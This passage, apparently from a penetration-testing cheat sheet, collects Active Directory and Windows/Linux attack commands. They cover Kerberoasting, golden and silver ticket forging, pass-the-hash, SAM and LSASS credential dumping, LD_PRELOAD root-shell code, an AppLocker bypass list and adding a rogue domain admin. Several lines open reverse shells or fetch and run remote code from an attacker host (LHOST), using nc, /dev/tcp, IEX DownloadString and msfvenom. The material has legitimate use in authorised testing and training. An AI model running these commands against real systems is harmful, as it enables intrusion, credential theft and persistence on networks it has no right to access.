<DOMAIN>/Administrator@<DOMAIN_CONTROLLER>.<DOMAIN> 'type C:\PATH\TO\FILE\<FILE>' ``` ##### impacket-smbclient ```c export KRB5CCNAME=<USERNAME>.ccache impacket-smbclient <RHOST>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST> impacket-smbclient -k <RHOST>/<USERNAME>@<RHOST>.<RHOST> -no-pass ``` ##### impacket-getTGT ```c impacket-getTGT <RHOST>/<USERNAME>:<PASSWORD> impacket-getTGT <RHOST>/<USERNAME> -dc-ip <RHOST> -hashes aad3b435b51404eeaad3b435b51404ee:7c662956a4a0486a80fbb2403c5a9c2c ``` ##### impacket-GetNPUsers ```c impacket-GetNPUsers <RHOST>/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast impacket-GetNPUsers <RHOST>/<USERNAME> -request -no-pass -dc-ip <RHOST> impacket-GetNPUsers <RHOST>/ -usersfile usernames.txt -format john -outputfile hashes ``` ##### impacket-getUserSPNs ```c export KRB5CCNAME=<USERNAME>.ccache impacket-GetUserSPNs <RHOST>/<USERNAME>:<PASSWORD> -k -dc-ip <RHOST>.<RHOST> -no-pass -request ``` ##### impacket-secretsdump ```c export KRB5CCNAME=<USERNAME>.ccache impacket-secretsdump <RHOST>/<USERNAME>@<RHOST> impacket-secretsdump -k <RHOST>/<USERNAME>@<RHOST>.<RHOST> -no-pass -debug impacket-secretsdump -ntds ndts.dit -system system -hashes lmhash:nthash LOCAL -output nt-hash impacket-secretsdump -dc-ip <RHOST> <RHOST>.LOCAL/svc_bes:<PASSWORD>@<RHOST> impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL ``` ##### impacket-psexec ```c impacket-psexec <USERNAME>@<RHOST> impacket-psexec <RHOST>/administrator@<RHOST> -hashes aad3b435b51404eeaad3b435b51404ee:8a4b77d52b1845bfe949ed1b9643bb18 ``` ##### impacket-ticketer ###### Requirements * Valid User * NTHASH * Domain-SID ```c export KRB5CCNAME=<USERNAME>.ccache impacket-ticketer -nthash C1929E1263DDFF6A2BCC6E053E705F78 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain <RHOST> -spn MSSQLSVC/<RHOST>.<RHOST> -user-id 500 Administrator ``` ##### Fixing [-] exceptions must derive from BaseException ###### Issue ```c impacket-GetUserSPNs <RHOST>/<USERNAME>:<PASSWORD> -k -dc-ip <DOMAIN_CONTROLLER>.<RHOST> -no-pass -request Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [-] exceptions must derive from BaseException ``` ###### How to fix it ```c 241 if self.__doKerberos: 242 #target = self.getMachineName() 243 target = self.__kdcHost ``` ##### dacledit.py > https://github.com/fortra/impacket/blob/204c5b6b73f4d44bce0243a8f345f00e308c9c20/examples/dacledit.py ```c $ python3 dacledit.py <DOMAIN>/<USERNAME>:<PASSWORD> -k -target-dn 'DC=<DOMAIN>,DC=<DOMAIN>' -dc-ip <RHOST> -action read -principal '<USERNAME>' -target '<GROUP>' -debug ``` ###### Fixing msada_guids Error ```c #from impacket.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS from msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS ``` Then put the `msada_guids.py` into the same directory as `dacledit.py` > https://github.com/Porchetta-Industries/CrackMapExec/blob/master/cme/helpers/msada_guids.py ##### owneredit.py > https://github.com/fortra/impacket/blob/5c477e71a60e3cc434ebc0fcc374d6d108f58f41/examples/owneredit.py ```c $ python3 owneredit.py -k '<DOMAIN>/<USERNAME>:<PASSWORD>' -dc-ip <RHOST> -action write -new-owner '<USERNAME>' -target '<GROUP>' -debug ``` #### JAWS ```c IEX(New-Object Net.webclient).downloadString('http://<LHOST>:<LPORT>/jaws-enum.ps1') ``` #### Kerberos > https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a ##### General Notes - Golden Ticket is a Ticket Granting Ticket (TGT) and completely forged offline (KRBTGT Account Hash needed). - Silver Ticket is a forged service authentication ticket (Service Principal Name (SPN) and Machine Account Keys (Hash in RC4 or AES) needed). Silver Tickets do not touch the Domain Controller (DC). - Diamond Ticket is essentially a Golden Ticket but requested from a Domain Controller (DC). ##### Bruteforce ```c ./kerbrute -domain <DOMAIN> -users <FILE> -passwords <FILE> -outputfile <FILE> ``` ###### With List of Users ```c .\Rubeus.exe brute /users:<FILE> /passwords:<FILE> /domain:<DOMAIN> /outfile:<FILE> ``` ###### Check Passwords for all Users in Domain ```c .\Rubeus.exe brute /passwords:<FILE> /outfile:<FILE> ``` ##### ASPREPRoast ###### Check ASPREPRoast for all Domain Users (Credentials required) ```c impacket-GetNPUsers <DOMAIN>/<USERNAME>:<PASSWORD> -request -format hashcat -outputfile <FILE> impacket-GetNPUsers <DOMAIN>/<USERNAME>:<PASSWORD> -request -format john -outputfile <FILE> ``` ###### Check ASPREPRoast for a List of Users (No Credentials required) ```c impacket-GetNPUsers <DOMAIN>/ -usersfile <FILE> -format hashcat -outputfile <FILE> impacket-GetNPUsers <DOMAIN>/ -usersfile <FILE> -format john -outputfile <FILE> ``` ###### Check ASPREPRoast for all Domain Users in Domain ```c .\Rubeus.exe asreproast /format:hashcat /outfile:<FILE> ``` ##### Kerberoasting ```c impacket-GetUserSPNs <DOMAIN>/<USERNAME>:<PASSWORD> -outputfile <FILE> .\Rubeus.exe kerberoast /outfile:<FILE> iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1") Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII <FILE> Invoke-Kerberoast -OutputFormat john | % { $_.Hash } | Out-File -Encoding ASCII <FILE> ``` ##### Overpass The Hash/Pass The Key (PTK) ###### Request TGT with Hash ```c impacket-getTGT <DOMAIN>/<USERNAME> -hashes <LMHASH>:<NTLMHASH> ``` ###### Request TGT with aesKey (More secure Encryption, probably more stealth due is it used by Default) ```c impacket-getTGT <DOMAIN>/<USERNAME> -aesKey <KEY> ``` ###### Request TGT with Password ```c impacket-getTGT <DOMAIN>/<USERNAME>:<PASSWORD> ``` ###### Set TGT for Impacket Usage ```c export KRB5CCNAME=<USERNAME>.ccache ``` ###### Execute Remote Commands ```c impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass ``` ###### Ask and inject the Ticket ```c .\Rubeus.exe asktgt /domain:<DOMAIN> /user:<USERNAME> /rc4:<NTLMHASH> /ptt ``` ###### Execute a CMD on Remote Host ```c .\PsExec.exe -accepteula \\<RHOST> cmd ``` ##### Pass The Ticket (PTT) ###### Harvest Tickets from Linux ###### Check Type and Location of Tickets ```c grep default_ccache_name /etc/krb5.conf ``` * If none return, default is FILE:/tmp/krb5cc_%{uid} * In Case of File Tickets it is possible to Copy-Paste them to use them * In Case of being KEYRING Tickets, the Tool tickey can be used to get them * To dump User Tickets, if root, it is recommended to dump them all by injecting in other user processes * To inject, the Ticket have to be copied in a reachable Folder by all Users ```c cp tickey /tmp/tickey /tmp/tickey -i ``` ###### Harvest Tickets from Windows ```c sekurlsa::tickets /export .\Rubeus dump ``` ###### Convert Tickets dumped with Rubeus into base64 ```c [IO.File]::WriteAllBytes("<TICKET>.kirbi", [Convert]::FromBase64String("<TICKET>")) ``` ###### Convert Tickets between Linux and Windows Format with ticket_converter.py > https://github.com/Zer1t0/ticket_converter ```c python ticket_converter.py ticket.kirbi ticket.ccache python ticket_converter.py ticket.ccache ticket.kirbi ``` ###### Using Ticket on Linux ```c export KRB5CCNAME=<USERNAME>.ccache ``` ###### Execute Remote Commands by using TGT ```c impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass ``` ###### Using Ticket on Windows ###### Inject Ticket with mimikatz ```c kerberos::ptt <KIRBI_FILE> ``` ###### Inject Ticket with Rubeus ```c .\Rubeus.exe ptt /ticket:<KIRBI_FILE> ``` ###### Execute a CMD on Remote Host ```c .\PsExec.exe -accepteula \\<RHOST> cmd ``` ##### Silver Ticket ###### Impacket Examples ###### Generate TGS with NTLM ```c python ticketer.py -nthash <NTLMHASH> -domain-sid <SID> -domain <DOMAIN> -spn <SPN> <USERNAME> ``` ###### Generate TGS with aesKey ```c python ticketer.py -aesKey <KEY> -domain-sid <SID> -domain <DOMAIN> -spn <SPN> <USERNAME> ``` ###### Set the ticket for impacket use ```c export KRB5CCNAME=<USERNAME>.ccache ``` ###### Execute Remote Commands by using TGT ```c impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass ``` ##### mimikatz Examples ###### Generate TGS with NTLM ```c kerberos::golden /domain:<DOMAIN>/sid:<SID> /rc4:<NTLMHASH> /user:<USERNAME> /service:<SERVICE> /target:<RHOST> ``` ###### Generate TGS with AES 128bit Key ```c kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes128:<KEY> /user:<USERNAME> /service:<SERVICE> /target:<RHOST> ``` ###### Generate TGS with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default) ```c kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes256:<KEY> /user:<USERNAME> /service:<SERVICE> /target:<RHOST> ``` ###### Inject TGS with Mimikatz ```c kerberos::ptt <KIRBI_FILE> ``` ##### Rubeus Examples ```c .\Rubeus.exe ptt /ticket:<KIRBI_FILE> ``` ###### Execute CMD on Remote Host ```c .\PsExec.exe -accepteula \\<RHOST> cmd ``` ##### Golden Ticket ###### Impacket Examples ###### Generate TGT with NTLM ```c python ticketer.py -nthash <KRBTGT_NTLM_HASH> -domain-sid <SID> -domain <DOMAIN> <USERNAME> ``` ###### Generate TGT with aesKey ```c python ticketer.py -aesKey <KEY> -domain-sid <SID> -domain <DOMAIN> <USERNAME> ``` ###### Set TGT for Impacket Usage ```c export KRB5CCNAME=<USERNAME>.ccache ``` ###### Execute Remote Commands by using TGT ```c impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass ``` ##### mimikatz Examples ###### Generate TGT with NTLM ```c kerberos::golden /domain:<DOMAIN>/sid:<SID> /rc4:<KRBTGT_NTLM_HASH> /user:<USERNAME> ``` ###### Generate TGT with AES 128bit Key ```c kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes128:<KEY> /user:<USERNAME> ``` ###### Generate TGT with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default) ```c kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes256:<KEY> /user:<USERNAME> ``` ###### Inject TGT with Mimikatz ```c kerberos::ptt <KIRBI_FILE> ``` ##### Rubeus Examples ###### Inject Ticket with Rubeus ```c .\Rubeus.exe ptt /ticket:<KIRBI_FILE> ``` ###### Execute CMD on Remote Host ```c .\PsExec.exe -accepteula \\<RHOST> cmd ``` ###### Get NTLM from Password ```c python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "<PASSWORD>".encode("utf-16le")).digest())' ``` #### ldapsearch ```c ldapsearch -x -w <PASSWORD> ldapsearch -x -h <RHOST> -s base namingcontexts ldapsearch -x -b "dc=<RHOST>,dc=local" "*" -h <RHOST> | awk '/dn: / {print $2}' ldapsearch -x -D "cn=admin,dc=<RHOST>,dc=local" -s sub "cn=*" -h <RHOST> | awk '/uid: /{print $2}' | nl ldapsearch -D "cn=admin,dc=acme,dc=com" "(objectClass=*)" -w ldapadmin -h ldap.acme.com ldapsearch -x -h <RHOST> -D "<USERNAME>" -b "dc=<RHOST>,dc=local" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd ldapsearch -H ldap://<DOMAIN> -b "DC=<DOMAIN>,DC=local" > <FILE>.txt ``` #### Linux ##### Basic Linux Enumeration ```c id sudo -l uname -a cat /etc/hosts cat /etc/fstab cat /etc/passwd ss -tulpn ps -auxf ls -lahv ls -R /home ls -la /opt ``` ##### find Commands ```c find / -user <USERNAME> -ls 2>/dev/null find / -user <USERNAME> -ls 2>/dev/null | grep -v proc 2>/dev/null find / -group <GROUP> 2>/dev/null find / -perm -4000 2>/dev/null | xargs ls -la find / -type f -user root -perm -4000 2>/dev/null find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null find / -cmin -60 // find files changed within the last 60 minutes find / -amin -60 // find files accesses within the last 60 minutes find ./ -type f -exec grep --color=always -i -I 'password' {} \; // search for passwords ``` ##### grep for Passwords ```c grep -R db_passwd grep -roiE "password.{20}" grep -oiE "password.{20}" /etc/*.conf grep -v "^[#;]" /PATH/TO/FILE | grep -v "^$" // grep for passwords like "DBPassword:" ``` ##### Apache2 ###### Read first Line of a File with apache2 Binary ```c sudo /usr/sbin/apache2 -f <FILE> ``` ##### APT ```c echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f"};' > /etc/apt/apt.conf.d/<FILE> ``` ##### arua2c ```c aria2c -d /root/.ssh/ -o authorized_keys "http://<LHOST>/authorized_keys" --allow-overwrite=true ``` ##### Bash Debugging Mode - Bash <4.4 ```c env -i SHELLOPTS=xtrace PS4='$(chmod +s /bin/bash)' /usr/local/bin/<BINARY> ``` ##### Bash Functions - Bash <4.2-048 ```c function /usr/sbin/<BINARY> { /bin/bash -p; } export -f /usr/sbin/<BINARY> /usr/sbin/<BINARY> ``` ##### LD_PRELOAD > https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/ ###### shell.c ```c #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setresuid(0,0,0); system("/bin/bash -p"); } ``` or ```c #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/sh"); } ``` ###### Compiling ```c gcc -o <SHARED_OBJECT>.so <FILE>.c -shared -FPIC -nostartfiles ``` ###### Privilege Escalation ```c sudo LD_PRELOAD=/PATH/TO/SHARED_OBJECT/<SHARED_OBJECT>.so <BINARY> ``` ##### LD_LIBRARY_PATH ###### Get Information about Libraries ```c ldd /PATH/TO/BINARY/<BINARY> ``` ###### shell.c ```c #include <stdio.h> #include <stdlib.h> static void hijack() __attribute__((constructor)); void hijack() { unsetenv("LD_LIBRARY_PATH"); setresuid(0,0,0); system("/bin/bash -p"); } ``` ###### Compiling ```c gcc -o <LIBRARY>.so.<NUMBER> -shared -fPIC <FILE>.c ``` ###### Privilege Escalation ```c sudo LD_LIBRARY_PATH=/PATH/TO/LIBRARY/<LIBRARY>.so.<NUMBER> <BINARY> ``` ##### logrotten > https://github.com/whotwagner/logrotten ```c if [ `id -u` -eq 0 ]; then ( /bin/sh -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1 ); fi ``` ###### If "create"-option is set in logrotate.cfg ```c ./logrotten -p ./payloadfile /tmp/log/pwnme.log ``` ###### If "compress"-option is set in logrotate.cfg ```c ./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log ``` ##### Path Variable Hijacking ```c find / -perm -u=s -type f 2>/dev/null find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u export PATH=$(pwd):$PATH ``` ##### PHP7.2 ```c /usr/bin/php7.2 -r "pcntl_exec('/bin/bash', ['-p']);" ``` ##### Wildcards > https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt With the command `touch -- --checkpoint=1` will be a file created. Why? Because the `--` behind the command `touch` is telling touch, that there's option to be wait for. Instead of an option, it creates a file, named `--checkpoint=1`. ```c touch -- --checkpoint=1 ``` or ```c touch ./--checkpoint=1 ``` So after creating the `--checkpoint=1` file, i created another file, which executes a shell script. ```c touch -- '--checkpoint-action=exec=sh shell.sh' ``` or ```c touch ./--checkpoint-action=exec=<FILE> ``` To delete a misconfigured file, put a `./` in front of it. ```c rm ./'--checkpoint-action=exec=python script.sh' ``` ##### Writeable Directories in Linux ```c /dev/shm /tmp ``` #### Microsoft Windows ##### Basic Windows Enumeration ```c systeminfo whoami /all net users net users <USERNAME> tasklist /SVC sc query sc qc <SERVICE> netsh firewall show state schtasks /query /fo LIST /v findstr /si password *.xml *.ini *.txt dir /s *pass* == *cred* == *vnc* == *.config* accesschk.exe -uws "Everyone" "C:\Program Files\" wmic qfe get Caption,Description,HotFixID,InstalledOn driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object 'Display Name', 'Start Mode', Path ``` ##### AppLocker Bypass List ``` Bypass List (Windows 10 Build 1803): C:\Windows\Tasks C:\Windows\Temp C:\Windows\tracing C:\Windows\Registration\CRMLog C:\Windows\System32\FxsTmp C:\Windows\System32\com\dmp C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\PRINTERS C:\Windows\System32\spool\SERVERS C:\Windows\System32\spool\drivers\color C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10) C:\Windows\SysWOW64\FxsTmp C:\Windows\SysWOW64\com\dmp C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System ``` ##### accesschk ###### Checking File Permissions ```c .\accesschk.exe /accepteula -quvw "C:\PATH\TO\FILE\<FILE>.exe" ``` ###### Checking Service Permissions ```c .\accesschk.exe /accepteula -uwcqv <USERNAME> daclsvc ``` ###### Checking Path Permissions to find Unquoted Service Paths ```c .\accesschk.exe /accepteula -uwdq C:\ .\accesschk.exe /accepteula -uwdq "C:\Program Files\" .\accesschk.exe /accepteula -uwdq "C:\Program Files\<UNQUOTED_SERVICE_PATH>" ``` ###### Checking Registry Entries ```c .\accesschk.exe /accepteula -uvwqk <REGISTRY_KEY> ``` ##### Adding Users to Groups ```c net user <USERNAME> <PASSWORD> /add /domain net group "Exchange Windows Permissions" /add <USERNAME> net localgroup "Remote Management Users" /add <USERNAME> ``` ##### Enable Remote Desktop (RDP) ```c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh advfirewall firewall set rule group="remote desktop" new enable=yes ``` or ```c Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0; Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name "UserAuthentication" -Value 1; Enable-NetFirewallRule -DisplayGroup "Remote Desktop"; ``` ##### Privileges and Permissions ###### AlwaysInstallElevated ```c reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer ``` ```c $ msfvenom -p windows/meterpreter/reverse_tcp lhost=<LHOST> lport=<LPORT> –f msi > <FILE>.msi ``` ```c msiexec /quiet /qn /i <FILE>.msi ``` ###### SeBackup and SeRestore Privilege ###### Backup SAM and SYSTEM Hashes ```c reg save hklm\system C:\Users\<USERNAME>\system.hive reg save hklm\sam C:\Users\<USERNAME>\sam.hive ``` ###### Dumping Hashes ```c secretsdump.py -sam sam.hive -system system.hive LOCAL ``` ###### SeBackupPrivilege Privilege Escalation (diskshadow) > https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug ###### Script for PowerShell Environment ```c SET CONTEXT PERSISTENT NOWRITERSp add volume c: alias foobarp createp expose %foobar% z:p ``` ```c diskshadow /s <FILE>.txt ``` ###### Copy ntds.dit ```c Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ndts.dit ``` ###### Export System Registry Value ```c reg save HKLM\SYSTEM c:\temp\system ``` Download `ndts.dit` and system and get the hashes from `secretsdump.py` of the impacket-suite. ###### SeTakeOwnership Privilege ```c takeown /f C:\Windows\System32\Utilman.exe ``` ```c icacls C:\Windows\System32\Utilman.exe /grant Everyone:F ``` ```c C:\Windows\System32\> copy cmd.exe utilman.exe ``` Click the `Ease of Access` button on the logon screen to get a shell with `NT Authority\System` privileges. ###### SeImpersonate and SeAssignPrimaryToken Privilege > https://github.com/antonioCoco/RogueWinRM ```c .\RogueWinRM.exe -p "C:\> .\nc64.exe" -a "-e cmd.exe <LHOST> <LPORT>" ``` ##### Registry Handling ###### Enable Colored Output ```c reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 ``` Then open a new Terminal Window. ###### Check for Auto Run Programs ```c reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ``` ###### Get Registry Key Information ```c req query <REGISTRY_KEY> ``` ###### Modify Registry Key ```c reg add <REGISTRY_KEY> /v <VALUE_TO_MODIFY> /t REG_EXPAND_SZ /d C:\PATH\TO\FILE\<FILE>.exe /f ``` ##### Searching for Credentials ###### Quick Wins > https://twitter.com/NinjaParanoid/status/1516442028963659777?t=g7ed0vt6ER8nS75qd-g0sQ&s=09 > https://www.nirsoft.net/utils/credentials_file_view.html ```c cmdkey /list rundll32 keymgr.dll, KRShowKeyMgr type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString reg query HKEY_CURRENT_USER\Software\<USERNAME>\PuTTY\Sessions\ /f "Proxy" /s ``` ###### Search for Passwords ```c dir .s *pass* == *.config findstr /si password *.xml *.ini *.txt ``` ###### PowerShell History ```c type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt ``` ###### Saved Windows Credentials ```c cmdkey /list runas /savecred /user:<USERNAME> cmd.exe ``` ###### Search the Registry for Passwords ```c reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s ``` ###### Dumping Credentials ```c reg save hklm\system system reg save hklm\sam sam reg.exe save hklm\sam c:\temp\sam.save reg.exe save hklm\security c:\temp\security.save reg.exe save hklm\system c:\temp\system.save ``` ###### Internet Information Service (IIS) ```c C:\Windows\System32\inetsrv>appcmd.exe list apppool /@:* type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString ``` ###### PuTTY ```c reg query HKEY_CURRENT_USER\Software\<USERNAME>\PuTTY\Sessions\ /f "Proxy" /s ``` ###### Lsass ```c tasklist rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 688 C:\Users\Administrator\Documents\lsass.dmp full ``` ###### Unattended Windows Installations ```c C:\Unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\system32\sysprep.inf C:\Windows\system32\sysprep\sysprep.xml ``` ##### Insecure Service Permissions ```c accesschk64.exe -qlc <SERVICE> icacls C:\Users\<USERNAME>\<FILE>.exe /grant Everyone:F sc config <SERVICE> binPath= "C:\Users\<USERNAME>\<FILE>.exe" obj= LocalSystem sc stop <SERVICE> sc start <SERVICE> ``` ##### Service Handling ```c sc create <SERVICE_NAME> sc start <SERVICE_NAME> sc qc <SERVICE_NAME> ``` ##### Scheduled Tasks ```c schtasks schtasks /query /tn <TASK> /fo list /v schtasks /run /tn <TASK> Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State ``` ##### Unquoted Service Paths Search for `Unquoted Service Paths` by using `sc qc`. ```c sc qc sc qc <SERVICE> sc stop <SERVICE> sc start <SERVICE> ``` ```c icacls <PROGRAM>.exe icacls C:\PROGRA~2\SYSTEM~1\<SERVICE>.exe icacls C:\PROGRA~2\SYSTEM~1\<SERVICE>.exe /grant Everyone:F ``` ##### writeDACL > https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/ ```c $SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USERNAME>', $SecPassword) Add-ObjectACL -PrincipalIdentity <USERNAME> -Credential $Cred -Rights DCSync ``` ##### WMIC ```c wmic product get name,version,vendor wmic qfe get Caption,Description,HotFixID,InstalledOn # no new patches - KEXP pretty likely ``` #### PassTheCert > https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html > https://github.com/AlmondOffSec/PassTheCert/tree/main/Python ```c certipy-ad cert -pfx <CERTIFICATE>.pfx -nokey -out <CERTIFICATE>.crt certipy-ad cert -pfx <CERTIFICATE>.pfx -nocert -out <CERTIFICATE>.key python3 passthecert.py -domain '<DOMAIN>' -dc-host '<DOMAIN>' -action 'modify_user' -target '<USERNAME>' -new-pass '<PASSWORD>' -crt ./<CERTIFICATE>.crt -key ./<CERTIFICATE>.key evil-winrm -i '<RHOST>' -u '<USERNAME>' -p '<PASSWORD>' ``` #### PKINITtools ```c python3 gettgtpkinit.py -cert-pfx <USERNAME>.pfx -dc-ip <RHOST> <DOMAIN>/<USERNAME> <USERNAME>.ccache export KRB5CCNAME=<USERNAME>.ccache python3 getnthash.py <DOMAIN>/<USERNAME> -key 6617cde50b7ee63faeb6790e84981c746efa66f68a1cc3a394bbd27dceaf0554 ``` #### Port Scanning ```c $ export ip=<RHOST>; for port in $(seq 1 65535); do timeout 0.01 bash -c "</dev/tcp/$ip/$port && echo The port $port is open || echo The Port $port is closed > /dev/null" 2>/dev/null || echo Connection Timeout > /dev/null; done ``` #### powercat ```c powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<LHOST>/powercat.ps1');powercat -c <LHOST> -p <LPORT> -e cmd" ``` #### Powermad ```c Import-Module ./Powermad.ps1 $secureString = convertto-securestring "<PASSWORD>" -asplaintext -force New-MachineAccount -MachineAccount <NAME> -Domain <DOMAIN> -DomainController <DOMAIN> -Password $secureString ``` #### PowerShell ##### Common Commands ```c whoami /all getuserid systeminfo Get-Process net users net users <USERNAME> Get-ADUser -Filter * -SearchBase "DC=<DOMAIN>,DC=LOCAL" Get-Content <FILE> Get-ChildItem . -Force GCI -hidden type <FILE> | findstr /l <STRING> [convert]::ToBase64String((Get-Content -path "<FILE>" -Encoding byte)) ``` ##### Allow Script Execution ```c Set-ExecutionPolicy remotesigned Set-ExecutionPolicy unrestricted ``` ##### Script Execution Bypass ```c powershell.exe -noprofile -executionpolicy bypass -file .\<FILE>.ps1 ``` ##### Import Module to PowerShell cmdlet ```c Import-Module .\<FILE> ``` ##### Check PowerShell Versions ```c Set-ExecutionPolicy Unrestricted powershell -Command "$PSVersionTable.PSVersion" powershell -c "[Environment]::Is64BitProcess" ``` ##### Read PowerShell History ```c type C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt ``` ##### Create a .zip File ```c Compress-Archive -LiteralPath C:\PATH\TO\FOLDER\<FOLDER> -DestinationPath C:\PATH\TO\FILE<FILE>.zip ``` ##### Unzip a File ```c Expand-Archive -Force <FILE>.zip ``` ##### Start a new Process ```c Start-Process -FilePath "C:\nc64.exe" -ArgumentList "<LHOST> <LPORT> -e powershell" ``` ##### Invoke-Expression / Invoke-WebRequest ```c IEX(IWR http://<LHOST>/<FILE>.ps1) Invoke-Expression (Invoke-WebRequest http://<LHOST/<FILE>.ps1) ``` ##### .NET Reflection ```c $bytes = (Invoke-WebRequest "http://<LHOST>/<FILE>.exe" -UseBasicParsing ).Content $assembly = [System.Reflection.Assembly]::Load($bytes) $entryPointMethod = $assembly.GetTypes().Where({ $_.Name -eq 'Program' }, 'First').GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic') $entryPointMethod.Invoke($null, (, [string[]] ('find', '/<COMMAND>'))) ``` ##### Start offsec Session ```c $offsec_session = New-PSSession -ComputerName <RHOST> -Authentication Negotiate -Credential <USERNAME> Enter-PSSession $offsec_session ``` ##### Execute Command as another User ```c PS C:\> $SecurePassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force PS C:\> $Cred = New-Object System.Management.Automation.PSCredential('<USERNAME>', $SecurePassword) PS C:\> $Session = New-PSSession -Credential $Cred PS C:\> Invoke-Command -Session $session -scriptblock { whoami } ``` or ```c $username = '<USERNAME>' $password = '<PASSWORD>' $securePassword = ConvertTo-SecureString $password -AsPlainText -Force $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword Start-Process powershell.exe -Credential $credential ``` ```c powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *" ``` ##### Add new Domain Administrator ```c $PASSWORD= ConvertTo-SecureString –AsPlainText -Force -String <PASSWORD> New-ADUser -Name "<USERNAME>" -Description "<DESCRIPTION>" -Enabled $true -AccountPassword $PASSWORD Add-ADGroupMember -Identity "Domain Admins" -Member <USERNAME> ``` ##### Execute Commands in User Context ```c $pass = ConvertTo-SecureString "<PASSWORD>" -AsPlaintext -Force $cred = New-Object System.Management.Automation.PSCredential ("<DOMAIN>\<USERNAME>", $pass) Invoke-Command -computername <COMPUTERNAME> -ConfigurationName dc_manage -credential $cred -command {whoami} ``` ##### Execute Scripts with Credentials (Reverse Shell) ```c $pass = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential("<DOMAIN>\<USERNAME>", $pass) Invoke-Command 